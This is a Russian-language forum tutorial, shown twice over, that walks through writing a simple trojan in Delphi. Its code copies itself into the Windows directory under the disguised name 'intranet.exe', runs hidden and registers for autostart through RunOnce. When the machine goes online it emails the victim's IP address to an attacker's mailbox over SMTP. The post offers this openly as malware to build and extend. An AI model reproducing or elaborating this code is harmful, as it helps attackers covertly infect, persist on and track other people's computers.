Поиск
Вход
Последние темы
Перепечатка материалов (в любом виде) с данного сайта без письменного разрешения администратора запрещена.
Copyright ©2010-2011 Mine.ChudoForum.Ru - Все права защищены
Пишем простенького троянца
Страница 1 из 1
Пишем простенького троянца
Сегодня мы рассмотрим как сделать простенького трояна на Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо,
что их до фига и большинство делает не то что надо.
Итак, приступим: сначала сделаем простенький троян, а потом будем наращивать его
функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами Delphi и
навесными, которые можно свободно скачать.
Да и еще, дельфи нужна 2, 3 или 4-я, любителей 5-ой обломаю - она больно глючная.
Ну чтож, приступим, для начала создадим форму (кто умеет без форм - будем без форм).
Накидаем на форму: TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что. В OnCreate формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это всё делает:
var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPath будем использовать для каталога винды, а CurPath для
текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet" - что то знакомое,
а что делает не помним.
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке винды мы
запустимся и пропись в реестре будет в несовсем обычном месте, а именно в RunOnce, а не
в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами, а потом
сами себя запускаем и закрываемся... или во всяком случае пытаемся.
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины
будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами
себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем.
Cледующтй код ставим в событие OnChange у OnlineIP:
If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
На какой адрес шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будет в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю.
end;
Вот пожалуй на сегодня и всё, надеюсь теперь вы поняли как можно сделать простенький
троян, который просто шлет письмо.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо,
что их до фига и большинство делает не то что надо.
Итак, приступим: сначала сделаем простенький троян, а потом будем наращивать его
функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами Delphi и
навесными, которые можно свободно скачать.
Да и еще, дельфи нужна 2, 3 или 4-я, любителей 5-ой обломаю - она больно глючная.
Ну чтож, приступим, для начала создадим форму (кто умеет без форм - будем без форм).
Накидаем на форму: TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что. В OnCreate формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это всё делает:
var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPath будем использовать для каталога винды, а CurPath для
текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet" - что то знакомое,
а что делает не помним.
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке винды мы
запустимся и пропись в реестре будет в несовсем обычном месте, а именно в RunOnce, а не
в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами, а потом
сами себя запускаем и закрываемся... или во всяком случае пытаемся.
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины
будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами
себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем.
Cледующтй код ставим в событие OnChange у OnlineIP:
If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
На какой адрес шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будет в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю.
end;
Вот пожалуй на сегодня и всё, надеюсь теперь вы поняли как можно сделать простенький
троян, который просто шлет письмо.
Страница 1 из 1
Права доступа к этому форуму:
Вы не можете отвечать на сообщения
Вс Ноя 02 2014, 14:18 автор dimka
» Исходники игр на Паскале
Чт Окт 16 2014, 13:18 автор tqq
» Помогите разблокировать smartbuy micro CD.
Ср Сен 24 2014, 14:40 автор Unearthly
» Исходники программ на Делфи для скачивания
Ср Июл 16 2014, 08:15 автор aleator
» Как прошить телефон Nokia?
Вт Май 06 2014, 12:42 автор vovan17
» Самопроизвольное отключение ноутбука
Вт Июл 09 2013, 21:17 автор Aleksei
» МР3-плеер NEXX nf-810
Пн Июл 01 2013, 09:11 автор Vitaliy_82
» Как снять защиту от записи на MicroSD
Вт Мар 26 2013, 16:25 автор katja*****
» Как передавать большие файлы с одного компьютера на другой быстро?
Пн Окт 01 2012, 20:07 автор irko